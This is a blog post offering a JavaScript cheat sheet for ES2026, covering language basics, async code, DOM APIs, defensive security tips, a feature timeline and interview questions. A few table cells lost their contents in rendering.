DEV Community: VIKAS

JavaScript Cheat Sheet 2026: Learn Once, Remember Forever (ES2026)

VIKAS — Fri, 23 Oct 2026 09:35:06 +0000

Most JavaScript tutorials are long. Most cheat sheets stop at ES6. This one does neither.

It is written against ECMAScript 2026 (the 17th edition of the spec, June 2026) and MDN, and it works for three kinds of people:

Beginners and intermediates: read it top to bottom like a crash course.
Job seekers: jump to Interview Rapid Fire and Predict the Output.
Working devs: use the table of contents as a quick revision index.

Every concept follows one pattern: what it is, the smallest useful example, and the trap to avoid.

How JavaScript runs
Variables, scope and hoisting
Data types
Coercion and equality
Operators worth knowing
Strings, numbers and Math
Control flow and loops
Functions and this
Closures
Objects
Arrays
Map, Set, WeakMap, WeakSet
Prototypes and classes
Modules
Asynchronous JavaScript
Error handling
Iterators and generators
JSON, dates and Intl
Regular expressions
Browser essentials (DOM and Web APIs)
Performance and memory
Security basics
ES2015 to ES2026 at a glance
Gotchas that bite everyone
Predict the Output
Interview Rapid Fire
Official resources

1. How JavaScript runs

JavaScript is single-threaded: one call stack, one thing at a time.
It is interpreted/JIT-compiled by an engine (V8 in Chrome, Node.js, Deno and Bun; SpiderMonkey in Firefox; JavaScriptCore in Safari).
It is dynamically typed: variables have no type, values do.
ECMAScript is the language spec. Web APIs (fetch, DOM, setTimeout) are provided by the host (browser or Node), not by the language itself.

Runs in	Notes
Browser	DOM, `window`, `fetch`, storage
Node.js / Deno / Bun	Files, network, processes, no DOM
Edge runtimes	Cloudflare Workers, Vercel Edge (Web APIs, limited Node APIs)

console.log('Hello, JS');   // run in browser DevTools console, or: node file.js

Strict mode ('use strict') turns silent mistakes into errors. ES modules and classes are strict by default, so you rarely need the directive today.

2. Variables, scope and hoisting

	`var`	`let`	`const`
Scope	Function	Block	Block
Reassign	Yes	Yes	No
Redeclare	Yes	No	No
Hoisted	Yes, initialized as `undefined`	Yes, but in the Temporal Dead Zone	Yes, but in the TDZ

const PI = 3.14159;       // default choice
let count = 0;            // when you need to reassign
// avoid var

const user = { name: 'A' };
user.name = 'B';          // allowed: const protects the binding, not the contents
// user = {};             // TypeError

Scope types: global, function, block ({} with let/const), module.

Hoisting:

console.log(a);   // undefined (var is hoisted)
var a = 5;

console.log(b);   // ReferenceError (TDZ)
let b = 5;

sayHi();          // works: function declarations are fully hoisted
function sayHi() { console.log('hi'); }

hello();          // TypeError: hello is not a function (var hoisted, value not yet assigned)
var hello = () => {};

Rule of thumb: const by default, let when needed, never var.

3. Data types

7 primitives (immutable, copied by value): string, number, bigint, boolean, undefined, null, symbol.
Everything else is an object (copied by reference): objects, arrays, functions, dates, maps, sets.

Expression	`typeof` result
`'hi'`	`'string'`
`42`, `NaN`, `Infinity`	`'number'`
`10n`	`'bigint'`
`true`	`'boolean'`
`undefined`	`'undefined'`
`null`	`'object'` (historic bug)
`Symbol()`	`'symbol'`
`[]`, `{}`	`'object'` (use `Array.isArray`)
`() => {}`	`'function'`

Array.isArray([]);          // true
value === null;             // the right null check
value == null;              // true for both null and undefined (the one accepted use of ==)

Value vs reference

let a = 1; let b = a; b = 2;       // a is still 1 (copied)

const o1 = { x: 1 };
const o2 = o1;                     // same object
o2.x = 99;                         // o1.x is now 99

Copying objects

Method	Depth	Notes
`{ ...obj }`, `Object.assign({}, obj)`	Shallow	Nested objects are still shared
`structuredClone(obj)`	Deep	Handles Date, Map, Set, circular refs. Fails on functions and DOM nodes.
`JSON.parse(JSON.stringify(obj))`	Deep, lossy	Drops `undefined`, functions, turns Dates into strings. Avoid.

Number gotchas

0.1 + 0.2 === 0.3;                          // false (0.30000000000000004)
Math.abs(0.1 + 0.2 - 0.3) < Number.EPSILON; // true: compare floats like this
Number.MAX_SAFE_INTEGER;                    // 9007199254740991, beyond this use BigInt
NaN === NaN;                                // false
Number.isNaN(NaN);                          // true (use this, not isNaN())
9007199254740993n + 1n;                     // BigInt: arbitrary precision, no mixing with Number

4. Coercion and equality

Use === always. The only common exception: x == null to check null or undefined.

== converts types first. === does not.

1 == '1';           // true
1 === '1';          // false
null == undefined;  // true
null === undefined; // false
Object.is(NaN, NaN);// true (like === but NaN equals NaN, and +0 differs from -0)

Falsy values (there are exactly 8)

false, 0, -0, 0n, '', null, undefined, NaN

Everything else is truthy, including '0', 'false', [], {}.

Classic coercion results

1 + '2';        // '12'  (+ prefers strings)
'3' - 1;        // 2     (- forces numbers)
'5' * '2';      // 10
[] + [];        // ''
[] + {};        // '[object Object]'
true + 1;       // 2
Number('');     // 0
Number('12px'); // NaN
parseInt('12px', 10); // 12 (always pass the radix)

Convert explicitly: Number(x), String(x), Boolean(x) or !!x, parseInt(x, 10), parseFloat(x).

5. Operators worth knowing

Operator	Meaning	Example
`?.`	Optional chaining	`user?.address?.city`, `fn?.()`, `arr?.[0]`
`??`	Nullish coalescing (only null or undefined)	`count ?? 10`
`\	\	`
`??=` `\	\	= &&=`
`**`	Exponent	`2 ** 10` is `1024`
`...`	Spread (expand) or rest (collect)	`[...a, ...b]`, `(...args) =>`
`? :`	Ternary	`ok ? 'yes' : 'no'`
`typeof`, `instanceof`, `in`	Type checks	`'a' in obj`
`1_000_000`	Numeric separator	readability only

const port = config.port ?? 3000;     // keeps 0 if port is 0
const port2 = config.port || 3000;    // replaces 0 with 3000 (bug)
const city = user?.address?.city;     // undefined instead of TypeError

6. Strings, numbers and Math

Strings (immutable)

const name = 'World';
`Hello, ${name}! ${2 + 3}`;     // template literal, multi-line allowed

Method	Does
`slice(start, end)`	Substring (negative indexes allowed)
`at(-1)`	Last character
`includes`, `startsWith`, `endsWith`	Boolean checks
`indexOf(x)`	Position or -1
`split(',')` and `arr.join(',')`	String to array and back
`trim()`, `trimStart()`, `trimEnd()`	Remove whitespace
`padStart(5, '0')`, `padEnd()`	`'7'.padStart(3,'0')` gives `'007'`
`replace(a, b)`, `replaceAll(a, b)`	`replace` with a string only changes the first match
`toUpperCase()`, `toLowerCase()`	Case
`repeat(3)`	`'ab'.repeat(2)` gives `'abab'`
`localeCompare(b)`	Correct sorting for human languages
`isWellFormed()`, `toWellFormed()`	Check or fix lone surrogates

'😀'.length is 2. Length counts UTF-16 units. Use [...str].length to count characters (code points).

Numbers and Math

(1234.5678).toFixed(2);          // '1234.57' (returns a STRING)
Number.isInteger(5);             // true
Math.round(2.5);                 // 3
Math.floor(-1.5);                // -2
Math.trunc(-1.5);                // -1
Math.max(...nums);               // Math.max() with no args is -Infinity
Math.floor(Math.random() * (max - min + 1)) + min;   // random int in [min, max]

Math.sumPrecise(list) (ES2026) adds many numbers without accumulating rounding error.

7. Control flow and loops

if (x > 0) { } else if (x === 0) { } else { }

switch (day) {
  case 'sat':
  case 'sun': console.log('weekend'); break;   // forget break and it falls through
  default: console.log('weekday');
}

Loop	Use for
`for (let i = 0; i < n; i++)`	Counted loops
`for (const x of iterable)`	Values of arrays, strings, Maps, Sets, generators. Default choice.
`for (const key in obj)`	Enumerable keys of an object (also inherited ones). Avoid on arrays.
`while`, `do...while`	Unknown number of iterations
`arr.forEach(fn)`	Side effects. Cannot `break`, does not wait for `await`.
`for await (const x of asyncIterable)`	Async streams

for (const [i, value] of arr.entries()) { }
for (const [key, value] of Object.entries(obj)) { }
for (const [key, value] of map) { }

outer: for (const a of A) {           // label to break out of nested loops
  for (const b of B) { if (a === b) break outer; }
}

8. Functions and this

Ways to write a function

function add(a, b) { return a + b; }            // declaration (hoisted)
const sub = function (a, b) { return a - b; };  // expression
const mul = (a, b) => a * b;                    // arrow, implicit return
const makeUser = name => ({ name });            // wrap returned object literal in ()

Parameters

function greet(name = 'friend', ...rest) {      // default value, rest parameter
  return `Hi ${name} (+${rest.length} extra)`;
}
const [first, second] = [1, 2];                 // destructuring
function area({ w, h = 1 }) { return w * h; }   // destructure a param object

Arrow functions vs regular functions

	Regular	Arrow
Own `this`	Yes, depends on the call	No, uses surrounding `this`
`arguments`	Yes	No (use `...rest`)
Can use `new`	Yes	No
Good as object method	Yes	No
Good as callback	Sure	Best

What is `this`? (4 rules, in priority order)

new Fn(): this is the new object.
fn.call(obj), apply, bind: this is obj.
obj.method(): this is obj.
Plain fn(): this is undefined in strict mode, globalThis otherwise.

Arrow functions skip all of this and inherit this from where they were written.

const user = {
  name: 'Asha',
  hi() { return this.name; },
  later() { setTimeout(() => console.log(this.name), 100); }, // arrow keeps this
};

const f = user.hi;
f();                      // this is lost
f.call(user);             // 'Asha'
const bound = user.hi.bind(user);
bound();                  // 'Asha'

fn.call(obj, a, b);       // call now, args listed
fn.apply(obj, [a, b]);    // call now, args as array
fn.bind(obj, a);          // returns a new function, call later

Handy patterns

(() => { /* IIFE: runs immediately, rarely needed with modules */ })();

const compose = (...fns) => x => fns.reduceRight((v, f) => f(v), x);   // composition
const curry = a => b => a + b;                                          // currying

function fact(n) { return n <= 1 ? 1 : n * fact(n - 1); }              // recursion needs a base case

Higher-order function: takes or returns a function (map, filter, addEventListener).
Pure function: same input, same output, no side effects. Easiest code to test.

9. Closures

A closure is a function that remembers the variables from where it was created, even after that outer function has finished.

function counter() {
  let n = 0;                // private, nobody else can touch it
  return () => ++n;
}
const next = counter();
next(); // 1
next(); // 2

Used for: private state, factories, memoization, debounce, event handlers, callbacks.

The classic loop bug

for (var i = 0; i < 3; i++) setTimeout(() => console.log(i));   // 3 3 3 (one shared var)
for (let i = 0; i < 3; i++) setTimeout(() => console.log(i));   // 0 1 2 (new let per iteration)

Debounce and throttle

function debounce(fn, ms = 300) {            // run after the user STOPS for ms
  let t;
  return (...args) => {
    clearTimeout(t);
    t = setTimeout(() => fn(...args), ms);
  };
}

function throttle(fn, ms = 300) {            // run at most once per ms
  let last = 0;
  return (...args) => {
    const now = Date.now();
    if (now - last >= ms) { last = now; fn(...args); }
  };
}

Closures can keep big objects alive. Clear timers and listeners you no longer need.

10. Objects

const name = 'Asha';
const user = {
  name,                              // shorthand for name: name
  age: 30,
  ['is' + 'Admin']: false,           // computed key
  greet() { return `Hi ${this.name}`; },
  get label() { return `${this.name} (${this.age})`; },
};

user.name;  user['name'];            // two ways to read
delete user.age;
'name' in user;                      // true (includes inherited)
Object.hasOwn(user, 'name');         // true (own property, modern replacement for hasOwnProperty)

Destructuring and spread

const { name: userName, age = 18, ...others } = user;      // rename, default, rest
const updated = { ...user, age: 31 };                      // copy + override
const merged = { ...defaults, ...overrides };              // later wins

Essential `Object` methods

Method	Does
`Object.keys(o)`, `values(o)`, `entries(o)`	Arrays of own enumerable keys, values, pairs
`Object.fromEntries(pairs)`	Pairs back to an object
`Object.assign(target, ...src)`	Shallow merge (mutates target)
`Object.freeze(o)`	Shallow immutable (silent fail, or TypeError in strict mode)
`Object.groupBy(items, fn)`	Group an array into an object by key (ES2024)
`Object.create(proto)`	New object with a chosen prototype
`Object.defineProperty(o, k, desc)`	Control writable, enumerable, configurable
`Object.getPrototypeOf(o)`	Read the prototype

const prices = { a: 10, b: 20 };
Object.fromEntries(Object.entries(prices).map(([k, v]) => [k, v * 2]));  // { a: 20, b: 40 }

Object.groupBy([1, 2, 3, 4], n => (n % 2 ? 'odd' : 'even'));  // { odd: [1,3], even: [2,4] }

Key order: integer-like keys first (ascending), then strings in insertion order.

11. Arrays

Mutating vs non-mutating (memorize this)

Mutates the original	Returns a new array
`push`, `pop`, `shift`, `unshift`	`map`, `filter`, `slice`, `concat`, `flat`, `flatMap`
`splice`, `sort`, `reverse`, `fill`	`toSorted`, `toReversed`, `toSpliced`, `with` (ES2023)

Everyday methods

const nums = [5, 1, 4];

nums.map(n => n * 2);                    // [10, 2, 8]
nums.filter(n => n > 1);                 // [5, 4]
nums.find(n => n > 1);                   // 5 (first match or undefined)
nums.findLast(n => n > 1);               // 4
nums.some(n => n > 4);                   // true
nums.every(n => n > 0);                  // true
nums.includes(4);                        // true
nums.reduce((sum, n) => sum + n, 0);     // 10 (always give an initial value)
nums.at(-1);                             // 4
nums.slice(1, 3);                        // [1, 4]
nums.flat(Infinity);                     // flatten nested arrays
Array.from({ length: 3 }, (_, i) => i);  // [0, 1, 2]
[...new Set(nums)];                      // unique values

Sorting

[10, 9, 1].sort();                       // [1, 10, 9] (default sorts as STRINGS)
[10, 9, 1].sort((a, b) => a - b);        // [1, 9, 10]
[10, 9, 1].toSorted((a, b) => b - a);    // [10, 9, 1] (original untouched)

people.sort((a, b) => a.name.localeCompare(b.name));   // sort strings properly

Immutable updates

const add    = [...arr, item];
const remove = arr.filter(x => x.id !== id);
const update = arr.map(x => (x.id === id ? { ...x, done: true } : x));
const swap   = arr.with(2, 'new');       // replace index 2

Real-world pipeline

const total = orders
  .filter(o => o.status === 'paid')
  .map(o => o.amount)
  .reduce((sum, n) => sum + n, 0);

arr.length = 0 empties an array. arr[100] = 1 on a short array creates holes. Array(3) is empty slots, not [undefined, undefined, undefined].

12. Map, Set, WeakMap, WeakSet

Map vs plain object

	`Map`	Object
Key types	Anything	Strings and symbols
Order	Insertion	Insertion (integer keys first)
Size	`map.size`	`Object.keys(o).length`
Frequent add/remove	Faster	Slower
JSON	No direct support	Yes

const m = new Map([['a', 1]]);
m.set('b', 2).get('b');          // 2
m.has('a');  m.delete('a');  m.size;
for (const [k, v] of m) { }

// count things (ES2026 getOrInsert, check engine support)
const counts = new Map();
for (const w of words) counts.set(w, counts.getOrInsert(w, 0) + 1);

Set (unique values)

const s = new Set([1, 2, 2, 3]);   // {1, 2, 3}
s.add(4);  s.has(2);  s.delete(1);  s.size;

Set algebra (ES2025):

const a = new Set([1, 2, 3]);
const b = new Set([2, 3, 4]);

a.union(b);                // {1, 2, 3, 4}
a.intersection(b);         // {2, 3}
a.difference(b);           // {1}
a.symmetricDifference(b);  // {1, 4}
a.isSubsetOf(b);  a.isSupersetOf(b);  a.isDisjointFrom(b);

WeakMap and WeakSet

Keys must be objects (or non-registered symbols), held weakly so they can be garbage collected. Not iterable, no size. Use for metadata attached to objects without causing leaks.

const meta = new WeakMap();
meta.set(domNode, { clicks: 0 });    // entry disappears when domNode is collected

13. Prototypes and classes

The prototype chain

Every object has a hidden link to another object (its prototype). Property lookup walks that chain until null.

const animal = { eats: true };
const dog = Object.create(animal);
dog.barks = true;
dog.eats;                                  // true (found on the prototype)
Object.getPrototypeOf(dog) === animal;     // true

class is cleaner syntax over the same prototype system.

Classes

class Account {
  #balance = 0;                          // truly private
  static count = 0;                      // belongs to the class

  constructor(owner) {
    this.owner = owner;
    Account.count++;
  }

  deposit(n) {
    if (n <= 0) throw new RangeError('Amount must be positive');
    this.#balance += n;
    return this;                         // enables chaining
  }

  get balance() { return this.#balance; }
  static create(owner) { return new Account(owner); }
}

class Savings extends Account {
  constructor(owner, rate) {
    super(owner);                        // must call super before using this
    this.rate = rate;
  }
  deposit(n) { return super.deposit(n * 1.01); }
}

const s = new Savings('Asha', 0.05);
s instanceof Account;                    // true
s.balance;                               // 0
// s.#balance                            // SyntaxError (private)

Facts:

Methods live on the prototype (shared). Class fields (x = 1) live on each instance.
Class bodies are strict mode. Classes are not hoisted like functions (TDZ).
#private fields cannot be read from outside, even by subclasses. Check with #x in obj.
static { } blocks run once at class definition for setup.
Prefer composition over deep inheritance.

14. Modules

	ES Modules (ESM)	CommonJS (CJS)
Syntax	`import` / `export`	`require()` / `module.exports`
Loading	Static, async	Dynamic, sync
Top-level `await`	Yes	No
Default in	Browsers, modern Node (`"type": "module"` or `.mjs`)	Older Node (`.cjs`)

// math.js
export const PI = 3.14;
export function add(a, b) { return a + b; }
export default class Calculator {}

// app.js
import Calculator, { PI, add as sum } from './math.js';
import * as math from './math.js';

const { default: Chart } = await import('./chart.js');     // dynamic import (lazy load)
import config from './config.json' with { type: 'json' };  // JSON modules (ES2025)

Browsers: <script type="module" src="app.js"></script>.
ESM imports are live bindings and are hoisted. Modules run once and are cached.
Prefer named exports (better refactoring and tree shaking).
Always include the file extension in browser and Node ESM imports.

15. Asynchronous JavaScript

The event loop (the one diagram to memorize)

Call Stack  <---  Microtask queue (Promises, queueMicrotask)      runs FIRST, fully drained
            <---  Macrotask queue (setTimeout, events, I/O)       ONE task, then microtasks again

Order: run sync code, drain all microtasks, run one macrotask, drain microtasks, repeat.

console.log('1');
setTimeout(() => console.log('2'), 0);
Promise.resolve().then(() => console.log('3'));
queueMicrotask(() => console.log('4'));
console.log('5');
// 1, 5, 3, 4, 2

In Node.js, process.nextTick runs even before Promise microtasks.

Promises

A Promise is a value that arrives later. States: pending, fulfilled, rejected.

fetch('/api/user')
  .then(res => res.json())
  .then(user => console.log(user))
  .catch(err => console.error(err))
  .finally(() => hideSpinner());

Combinator	Resolves when	Rejects when
`Promise.all([...])`	All fulfilled (array of results)	Any rejects (fail fast)
`Promise.allSettled([...])`	All settled (`{status, value/reason}`)	Never
`Promise.race([...])`	First settles	First rejection if it is first
`Promise.any([...])`	First fulfills	All reject (`AggregateError`)

const { promise, resolve, reject } = Promise.withResolvers();   // ES2024
Promise.try(() => maybeSyncOrAsync());   // ES2025: sync throws become rejections, result is always a Promise

async / await

async function loadUser(id) {
  try {
    const res = await fetch(`/api/users/${id}`, { signal: AbortSignal.timeout(5000) });
    if (!res.ok) throw new Error(`HTTP ${res.status}`);   // fetch does NOT reject on 404 or 500
    return await res.json();
  } catch (err) {
    console.error('Load failed', err);
    throw err;
  } finally {
    hideSpinner();
  }
}

An async function always returns a Promise.
await only pauses that function, not the whole program.

Sequential vs parallel (huge performance difference)

const a = await getA();
const b = await getB();                        // waits for A first (slow)

const [a2, b2] = await Promise.all([getA(), getB()]);   // both start together (fast)

Common async mistakes

items.forEach(async item => { await save(item); });     // forEach does NOT wait
await Promise.all(items.map(item => save(item)));       // correct, parallel
for (const item of items) await save(item);             // correct, one by one

Cancel, timeout, retry

const controller = new AbortController();
fetch(url, { signal: controller.signal });
controller.abort();                                     // cancels the request

const sleep = ms => new Promise(r => setTimeout(r, ms));

async function retry(fn, tries = 3) {
  for (let i = 0; i < tries; i++) {
    try { return await fn(); }
    catch (e) { if (i === tries - 1) throw e; await sleep(2 ** i * 500); }
  }
}

Async iteration

for await (const chunk of stream) { }                    // consume async iterables
const all = await Array.fromAsync(asyncGenerator());     // ES2026: collect an async iterable into an array

fetch cheat

const res = await fetch('/api/items', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ name: 'Pen' }),
});
if (!res.ok) throw new Error(`HTTP ${res.status}`);
const data = await res.json();

16. Error handling

try {
  JSON.parse('{ bad json');
} catch (err) {
  console.error(err.name, err.message);   // SyntaxError ...
} finally {
  cleanup();                              // always runs
}

Built-in error	Typical cause
`TypeError`	Wrong type, `undefined.x`, calling a non-function
`ReferenceError`	Variable does not exist (or TDZ)
`SyntaxError`	Bad syntax or bad JSON
`RangeError`	Value out of range, infinite recursion
`AggregateError`	Many errors at once (`Promise.any`)

Custom errors and `cause`

class ValidationError extends Error {
  constructor(message, field, options) {
    super(message, options);
    this.name = 'ValidationError';
    this.field = field;
  }
}

try {
  await save();
} catch (err) {
  throw new Error('Could not save profile', { cause: err });   // keeps the original error
}

You can throw anything, but throw Error objects so you get a stack trace.
Error.isError(x) (ES2026) is a reliable check that works across realms (iframes), unlike instanceof.
try/catch catches sync errors and awaited rejections. It does not catch errors inside un-awaited promises or callbacks.
Handle global fallbacks: window.addEventListener('unhandledrejection', ...) in browsers, process.on('unhandledRejection', ...) in Node.

17. Iterators and generators

An iterable has a [Symbol.iterator]() method that returns an iterator (an object with next() returning { value, done }). for...of, spread and destructuring all use this.

function* range(start, end) {
  for (let i = start; i < end; i++) yield i;     // pauses here until next() is called
}

[...range(0, 3)];                                // [0, 1, 2]

Generators are lazy: they compute values only when asked, so they can be infinite.

Iterator helpers (ES2025)

function* naturals() { let n = 0; while (true) yield n++; }

naturals()
  .filter(n => n % 2 === 0)
  .map(n => n * n)
  .take(5)
  .toArray();                  // [0, 4, 16, 36, 64]

Helpers: map, filter, take, drop, flatMap, reduce, toArray, forEach, some, every, find. Use Iterator.from(iterable) for other iterables. Iterator.concat(a, b) (ES2026) chains iterators.

18. JSON, dates and Intl

JSON

JSON.stringify({ a: 1, b: [2, 3] }, null, 2);   // pretty print
JSON.parse('{"a":1}');                          // throws SyntaxError on bad input
JSON.parse(text, (key, value) => key === 'date' ? new Date(value) : value);   // reviver

JSON.stringify surprises:

undefined, functions and symbols are dropped in objects (become null in arrays).
NaN and Infinity become null.
Date becomes an ISO string (via toJSON), and does not come back as a Date.
Circular references and BigInt throw.
Map and Set become {}.

Dates

const d = new Date();                       // now
new Date('2026-10-23');                     // date-only strings are parsed as UTC
new Date('2026-10-23T10:00');               // date-time without zone is parsed as LOCAL
new Date(2026, 9, 23);                      // month is 0-based: 9 means October
d.getTime();  Date.now();                   // ms since 1970 (Unix epoch)
d.toISOString();                            // '2026-10-23T...Z'

Date is mutable, has weak time zone support, and a confusing API.
Temporal is the proposed modern replacement. Several blog posts list it under ES2026, but it is not in the ES2026 spec. Check MDN and caniuse for current engine support before using it.
For now: store UTC (toISOString()), format with Intl, or use a small library (date-fns, Day.js).

Intl (formatting without libraries)

new Intl.NumberFormat('en-IN', { style: 'currency', currency: 'INR' }).format(1234567.5);
// '₹12,34,567.50'

new Intl.DateTimeFormat('en-IN', { dateStyle: 'medium', timeStyle: 'short' }).format(new Date());

new Intl.RelativeTimeFormat('en', { numeric: 'auto' }).format(-1, 'day');   // 'yesterday'
new Intl.ListFormat('en').format(['A', 'B', 'C']);                          // 'A, B, and C'

Also useful: structuredClone(), crypto.randomUUID(), URL and URLSearchParams:

const url = new URL('https://x.com/search?q=js');
url.searchParams.get('q');            // 'js'
url.searchParams.set('page', '2');

19. Regular expressions

const re = /pattern/flags;
const re2 = new RegExp('pattern', 'g');

Syntax	Meaning
`\d` `\w` `\s`	Digit, word char, whitespace (uppercase = opposite)
`.`	Any char except newline (use `s` flag to include it)
`^` `$`	Start, end
`*` `+` `?` `{2,4}`	0+, 1+, 0 or 1, range (add `?` to make it lazy)
`[abc]` `[^abc]` `[a-z]`	Character classes
`(x)` `(?:x)` `(?<name>x)`	Capture, non-capture, named capture
`x\	y`
`(?=x)` `(?!x)`	Lookahead (positive, negative)
`(?<=x)` `(?<!x)`	Lookbehind

Flag	Meaning
`g`	All matches
`i`	Case-insensitive
`m`	`^`/`$` match per line
`s`	`.` matches newline
`u` / `v`	Unicode mode (`v` adds set operations)
`y`	Sticky
`d`	Match indices

/\d+/.test('abc123');                                  // true
'a1b22'.match(/\d+/g);                                 // ['1', '22']
'2026-10-23'.match(/(?<y>\d{4})-(?<m>\d{2})-(?<d>\d{2})/).groups.y;   // '2026'
[...'a1b22'.matchAll(/\d+/g)].map(m => m[0]);          // ['1', '22']
'a-b-c'.replaceAll('-', '+');                          // 'a+b+c'

const safe = new RegExp(RegExp.escape(userInput), 'i');   // ES2025: escape user text for a regex

A regex with the g flag keeps lastIndex between .test() calls, which causes alternating true/false bugs. Do not reuse a global regex with .test().
Beware catastrophic backtracking (ReDoS) on user input with nested quantifiers like (a+)+$.

20. Browser essentials (DOM and Web APIs)

Select and change the DOM

const el = document.querySelector('.card');            // first match
const all = document.querySelectorAll('li');           // NodeList (use for...of)

el.textContent = 'Safe text';                          // use this for user data
el.innerHTML = '<b>HTML</b>';                          // XSS risk with untrusted input
el.classList.add('active');  el.classList.toggle('open');
el.dataset.id;                                         // reads data-id
el.setAttribute('aria-expanded', 'true');

const li = document.createElement('li');
li.textContent = 'New';
list.append(li);
li.remove();

Events

button.addEventListener('click', e => {
  e.preventDefault();         // stop default behavior (link, form submit)
  e.stopPropagation();        // stop bubbling
}, { once: true });           // options: once, passive, capture, signal

Phases: capture (top to target), target, bubble (target back up). Most events bubble.

Event delegation (one listener for many children, works for items added later):

list.addEventListener('click', e => {
  const item = e.target.closest('li[data-id]');
  if (!item || !list.contains(item)) return;
  console.log(item.dataset.id);
});

Storage and other APIs

API	Use	Notes
`localStorage`	Persistent key-value	Strings only, sync, about 5 MB, never store secrets
`sessionStorage`	Per-tab storage	Cleared when the tab closes
Cookies	Server-readable	Use `HttpOnly`, `Secure`, `SameSite` for auth
`IndexedDB`	Large structured data	Async
`fetch`	HTTP	See section 15
`IntersectionObserver`	Lazy loading, infinite scroll	Better than scroll listeners
`ResizeObserver`, `MutationObserver`	Watch size or DOM changes
`requestAnimationFrame`	Smooth animation	Runs before the next paint
`AbortController`	Cancel fetch and listeners
`Web Workers`	Heavy work off the main thread	No DOM access

localStorage.setItem('user', JSON.stringify(user));
const saved = JSON.parse(localStorage.getItem('user') ?? 'null');

21. Performance and memory

Do less work on the main thread. Long tasks block clicks and rendering. Move heavy work to Web Workers or break it up.
Debounce input handlers and throttle scroll/resize handlers (section 9).
Batch DOM writes, avoid reading layout (offsetHeight) between writes.
Lazy load with dynamic import() and IntersectionObserver.
Use Map/Set for lookups instead of arr.includes/arr.find inside loops (O(1) vs O(n)).
Do not optimize without measuring: DevTools Performance and Memory tabs.

Garbage collection and leaks

JavaScript frees memory when an object is unreachable. Leaks are things you accidentally keep reachable:

Leak	Fix
Forgotten `setInterval` or listeners	`clearInterval`, `removeEventListener`, `AbortController` signals
Detached DOM nodes still referenced	Null out references
Accidental globals (`x = 1` without declaration)	Use `const`/`let`, strict mode
Closures holding huge data	Keep only what you need
Unbounded caches	Limit size, or use `WeakMap`

22. Security basics

XSS: never put untrusted text into innerHTML, outerHTML, document.write, or eval. Use textContent, or sanitize with DOMPurify. Add a Content Security Policy.
Avoid eval() and new Function() with any dynamic input.
Prototype pollution: merging untrusted JSON into objects with keys like __proto__ can modify Object.prototype. Validate keys, use Map, or Object.create(null).
Never trust the client. Validate on the server too. Never ship secrets or API keys in frontend code.
Tokens: prefer HttpOnly cookies over localStorage for session tokens.
Supply chain: commit your lockfile, run npm audit, review new dependencies, pin versions for critical packages.
ReDoS: be careful with complex regex on user input.

23. ES2015 to ES2026 at a glance

Edition	Highlights
ES2015	`let`/`const`, arrow functions, classes, modules, template literals, destructuring, spread/rest, Promises, Map/Set, Symbol, generators, `for...of`
ES2016	`**`, `Array.prototype.includes`
ES2017	`async`/`await`, `Object.values`/`entries`, `padStart`/`padEnd`
ES2018	Object rest/spread, async iteration, `Promise.finally`, regex named groups, lookbehind, `s` flag
ES2019	`flat`/`flatMap`, `Object.fromEntries`, optional catch binding, `trimStart`/`trimEnd`
ES2020	`?.`, `??`, `BigInt`, dynamic `import()`, `Promise.allSettled`, `globalThis`, `matchAll`
ES2021	`replaceAll`, `Promise.any`, `??=` `\
ES2022	Top-level {% raw %}`await`, class fields and `#private`, static blocks, `at()`, `Object.hasOwn`, `Error` `cause`, regex `d` flag
ES2023	`toSorted`, `toReversed`, `toSpliced`, `with`, `findLast`, `findLastIndex`
ES2024	`Object.groupBy`, `Map.groupBy`, `Promise.withResolvers`, resizable `ArrayBuffer`, regex `v` flag, `isWellFormed`
ES2025	Iterator helpers, Set methods (`union`, etc.), `Promise.try`, `RegExp.escape`, JSON modules, regex modifiers, `Float16Array`
ES2026	`Array.fromAsync`, `Error.isError`, `Iterator.concat`, `Math.sumPrecise`, `Uint8Array` base64/hex methods, `JSON.parse` source text access, `Map`/`WeakMap` `getOrInsert`

Reality check on ES2026: this table follows the published ES2026 spec. Some articles list Temporal and explicit resource management (using) as ES2026, but they are not in that spec. Always check MDN compatibility tables or caniuse before shipping the newest features without a fallback.

Gotchas that bite everyone

== coercion. Use ===.
typeof null is 'object'. Check with === null.
0.1 + 0.2 !== 0.3. Compare with an epsilon or use integers (paise, cents).
[10, 9, 1].sort() sorts as strings. Pass a comparator.
var in loops with closures gives surprising output. Use let.
Lost this when passing a method as a callback. Use arrow functions or bind.
forEach with await does not wait. Use for...of or Promise.all.
fetch does not reject on HTTP errors. Check res.ok.
|| vs ??. 0 || 5 is 5, 0 ?? 5 is 0.
Shallow copies. Spread does not copy nested objects. Use structuredClone.
const does not freeze. It only locks the binding.
parseInt('08') style bugs. Always pass radix, or use Number().
arr.map(parseInt) returns [1, NaN, NaN] (the index is passed as radix).
new Date('2026-10-23') is UTC but new Date('2026-10-23T00:00') is local.
Array holes. new Array(3) is empty, map skips holes. Use Array.from({ length: 3 }).
Unhandled promise rejections crash Node and hide bugs. Always catch.
Mutating while iterating. Do not splice inside forEach. Build a new array.
Floating this in setTimeout(obj.method). Wrap in an arrow function.

Predict the Output

Try each one before reading the answer.

console.log([] == ![]);                    // true   ([] == false, '' == 0, 0 == 0)
console.log('5' + 3, '5' - 3);             // '53' 2
console.log([1, 2, 3] + [4]);              // '1,2,34'
console.log([10, 9, 1].sort());            // [1, 10, 9]
console.log(typeof null, typeof NaN);      // 'object' 'number'
console.log(0.1 + 0.2 === 0.3);            // false
console.log(['1', '2', '3'].map(parseInt)); // [1, NaN, NaN]

for (var i = 0; i < 3; i++) setTimeout(() => console.log(i), 0);
// 3 3 3

console.log('A');
setTimeout(() => console.log('B'), 0);
Promise.resolve().then(() => console.log('C'));
console.log('D');
// A D C B

const user = { name: 'Asha', hi() { return this.name; } };
const f = user.hi;
f();   // this is lost: TypeError in strict mode (undefined.name), or globalThis.name in sloppy mode

async function a() { console.log(1); await null; console.log(2); }
a(); console.log(3);
// 1 3 2 (code after await runs as a microtask)

Interview Rapid Fire

Question	Short answer
What is JavaScript?	A single-threaded, dynamically typed, multi-paradigm language with first-class functions, run by engines like V8.
`var` vs `let` vs `const`?	`var` is function-scoped and hoisted as `undefined`. `let` and `const` are block-scoped with a TDZ. `const` cannot be reassigned.
What is hoisting?	Declarations are registered before code runs. Functions fully, `var` as `undefined`, `let`/`const` stay in the TDZ.
`==` vs `===`?	`==` coerces types, `===` does not. Prefer `===`.
What are primitives?	string, number, bigint, boolean, undefined, null, symbol. Immutable, copied by value.
What is a closure?	A function plus the variables from where it was created. Gives private state.
